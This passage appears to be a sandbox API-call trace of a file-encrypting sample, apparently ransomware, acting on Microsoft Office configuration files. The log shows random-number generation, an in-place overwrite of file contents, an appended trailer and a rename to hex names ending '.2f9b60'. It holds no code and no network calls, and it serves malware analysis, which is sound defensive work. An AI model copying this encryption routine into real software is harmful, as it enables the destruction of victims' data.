Seed=0x3966f990) returned 0x3e507a4e [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x2dd7f714 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x3d059f62 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x61dbdcf [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x57e8bc9f [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x55d01ad [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x61cbb131 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x46d0a055 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x72a578ce [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x1e8f3fec [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x3a5a9d9b [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x21a36461 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x51f6a22e [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x78624f15 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x3b1dbc9e [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x743b0f1e [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x57c6d79 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x75f5e9a2 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x346e7556 [0157.367] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x2c1ed2e0 [0157.368] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x62ddde70 [0157.368] RtlRandomEx (in: Seed=0x3966f990 | out: Seed=0x3966f990) returned 0x442d3abd [0157.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1400 [0157.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6b20 [0157.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1430 [0157.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6b20) returned 1 [0157.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac13d0) returned 1 [0157.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0157.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6b20 [0157.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b2a280 [0157.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b2de90 [0157.380] ReadFile (in: hFile=0x1088, lpBuffer=0x42b2a280, nNumberOfBytesToRead=0x303, lpNumberOfBytesRead=0x3966f990, lpOverlapped=0x0 | out: lpBuffer=0x42b2a280*, lpNumberOfBytesRead=0x3966f990*=0x303, lpOverlapped=0x0) returned 1 [0157.380] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.380] WriteFile (hFile=0x1088, lpBuffer=0x42b2de90, nNumberOfBytesToWrite=0x303, lpNumberOfBytesWritten=0x3966f994, lpOverlapped=0x0) [0186.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9c80 [0186.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9cb0 [0186.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9cb0) returned 1 [0186.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b2de90) returned 1 [0186.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b2a280) returned 1 [0186.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6b20) returned 1 [0186.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0186.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec9cb0 [0186.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0186.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6b20 [0186.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9ce0 [0186.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9ce0) returned 1 [0186.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec9ce0 [0186.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9d10 [0186.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9d40 [0186.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9d40) returned 1 [0186.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6b20) returned 1 [0186.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0186.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102940 [0186.495] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.496] WriteFile (in: hFile=0x1088, lpBuffer=0x43102940*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3966fab0, lpOverlapped=0x0 | out: lpBuffer=0x43102940*, lpNumberOfBytesWritten=0x3966fab0*=0x108, lpOverlapped=0x0) returned 1 [0207.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aad40 [0207.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aad40) returned 1 [0207.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d220 [0207.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aad40 [0207.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aafe0 [0207.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aafe0) returned 1 [0207.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d030 [0207.222] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="f8") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="44") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="23") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="01") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="e4") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="ae") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="da") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="38") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="dd") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="62") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="9f") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="6d") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="f3") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="fa") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="08") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="9a") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="ae") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="13") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="22") returned 2 [0207.222] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="11") returned 2 [0207.222] RtlInitAnsiString (in: DestinationString=0x3966fb28, SourceString="f8442301e4aeda38cfdd629f6d3ff3fa089aae132211" | out: DestinationString="f8442301e4aeda38cfdd629f6d3ff3fa089aae132211") [0207.223] RtlAnsiStringToUnicodeString (in: DestinationString=0x3966faf8, SourceString="f8442301e4aeda38cfdd629f6d3ff3fa089aae132211", AllocateDestinationString=1 | out: DestinationString="f8442301e4aeda38cfdd629f6d3ff3fa089aae132211") returned 0x0 [0207.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430e8bf0 [0207.223] wcscat (in: _Dest=0x431c76c0, _Source="f8442301e4a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\f8442301e4a") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\f8442301e4a" [0207.223] wcscat (in: _Dest=0x431c76c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\f8442301e4a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\f8442301e4a.2f9b60" [0207.223] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\f8442301e4a.2f9b60", NtPathName=0x3966fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\f8442301e4a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x43129620 Thread: id = 2658 os_tid = 0x21f4 [0157.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg")) returned 0x20 [0157.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG", dwFileAttributes=0x20) returned 1 [0157.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1084 [0157.386] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x39c7f720 | out: lpFileSize=0x39c7f720*=664) returned 1 [0157.386] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.387] ReadFile (in: hFile=0x1084, lpBuffer=0x39c7f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39c7f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39c7f6a0*, lpNumberOfBytesRead=0x39c7f6e8*=0x4, lpOverlapped=0x0) returned 1 [0157.388] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac13d0 [0157.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1460 [0157.389] NtQuerySystemTime (in: CurrentTime=0x39c7f5e0 | out: CurrentTime=0x39c7f5e0*=132462177625282000) returned 0x0 [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x33cd8512 [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x28f912ca [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x39e1c313 [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x4b026e68 [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x39fbda9c [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x1dae14ac [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x51a2bc89 [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x16a11219 [0157.389] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x308e678a [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x20f80161 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x6b397301 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x34d1de70 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0xc92c5f3 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x4ecd9991 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x513189ef [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x67128312 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x7c80f517 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x62277e4a [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x3eeec414 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x2db8f047 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x26b40418 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x428ebe16 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0xf4dd499 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x15fcb809 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x7482ccc9 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x9167039 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x5b981ed7 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x55870ed0 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x5c47c2fe [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x790298e8 [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x3bce311e [0157.390] RtlRandomEx (in: Seed=0x39c7f5d0 | out: Seed=0x39c7f5d0) returned 0x3bf77957 [0157.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1490 [0157.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ba0 [0157.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac14c0 [0157.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ba0) returned 1 [0157.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1460) returned 1 [0157.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bac0 [0157.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ba0 [0157.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b31aa0 [0157.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b356b0 [0157.407] ReadFile (in: hFile=0x1084, lpBuffer=0x42b31aa0, nNumberOfBytesToRead=0x298, lpNumberOfBytesRead=0x39c7f5d0, lpOverlapped=0x0 | out: lpBuffer=0x42b31aa0*, lpNumberOfBytesRead=0x39c7f5d0*=0x298, lpOverlapped=0x0) returned 1 [0157.407] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.407] WriteFile (in: hFile=0x1084, lpBuffer=0x42b356b0*, nNumberOfBytesToWrite=0x298, lpNumberOfBytesWritten=0x39c7f5d4, lpOverlapped=0x0 | out: lpBuffer=0x42b356b0*, lpNumberOfBytesWritten=0x39c7f5d4*=0x298, lpOverlapped=0x0) returned 1 [0161.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4bb0 [0161.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4be0 [0161.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4be0) returned 1 [0161.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b356b0) returned 1 [0161.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b31aa0) returned 1 [0161.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ba0) returned 1 [0161.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bac0) returned 1 [0161.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a4be0 [0161.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bac0 [0161.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ba0 [0161.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4c10 [0161.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4c10) returned 1 [0161.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a4c10 [0161.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4c40 [0161.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4c70 [0161.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4c70) returned 1 [0161.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ba0) returned 1 [0161.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bac0) returned 1 [0161.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x423a8b50 [0161.656] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.656] WriteFile (in: hFile=0x1084, lpBuffer=0x423a8b50*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x39c7f6f0, lpOverlapped=0x0 | out: lpBuffer=0x423a8b50*, lpNumberOfBytesWritten=0x39c7f6f0*=0x102, lpOverlapped=0x0) returned 1 [0163.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0163.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0163.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d200 [0163.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0163.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab2e0 [0163.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab2e0) returned 1 [0163.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202ab2e0 [0163.437] sprintf (in: _Dest=0x202ab2e0, _Format="%c%c" | out: _Dest="0e") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2e2, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2e4, _Format="%c%c" | out: _Dest="a0") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2e6, _Format="%c%c" | out: _Dest="6b") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2e8, _Format="%c%c" | out: _Dest="50") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2ea, _Format="%c%c" | out: _Dest="df") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2ec, _Format="%c%c" | out: _Dest="a7") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2ee, _Format="%c%c" | out: _Dest="61") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2f0, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2f2, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2f4, _Format="%c%c" | out: _Dest="98") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2f6, _Format="%c%c" | out: _Dest="28") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2f8, _Format="%c%c" | out: _Dest="2c") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2fa, _Format="%c%c" | out: _Dest="88") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2fc, _Format="%c%c" | out: _Dest="84") returned 2 [0163.437] sprintf (in: _Dest=0x202ab2fe, _Format="%c%c" | out: _Dest="55") returned 2 [0163.438] RtlInitAnsiString (in: DestinationString=0x39c7f768, SourceString="0e4ea06b50dfa761d4f098282c888455" | out: DestinationString="0e4ea06b50dfa761d4f098282c888455") [0163.438] RtlAnsiStringToUnicodeString (in: DestinationString=0x39c7f738, SourceString="0e4ea06b50dfa761d4f098282c888455", AllocateDestinationString=1 | out: DestinationString="0e4ea06b50dfa761d4f098282c888455") returned 0x0 [0163.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce192c0 [0163.438] RtlFreeAnsiString (AnsiString="0") [0163.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab2e0) returned 1 [0163.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0163.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8b50) returned 1 [0163.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4c10) returned 1 [0163.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4c40) returned 1 [0163.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4be0) returned 1 [0163.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4bb0) returned 1 [0163.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac13d0) returned 1 [0163.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1490) returned 1 [0163.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac14c0) returned 1 [0163.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1cdb5d90 [0163.441] wcscat (in: _Dest=0x1cdb5d90, _Source="0e4ea06b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e4ea06b") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e4ea06b" [0163.441] wcscat (in: _Dest=0x1cdb5d90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e4ea06b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e4ea06b.2f9b60" [0163.441] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e4ea06b.2f9b60", NtPathName=0x39c7f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0e4ea06b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1ce233a0 Thread: id = 2659 os_tid = 0x21f8 [0157.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg")) returned 0x20 [0157.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG", dwFileAttributes=0x20) returned 1 [0157.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1080 [0157.412] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x36fcf800 | out: lpFileSize=0x36fcf800*=640) returned 1 [0157.412] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x27c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 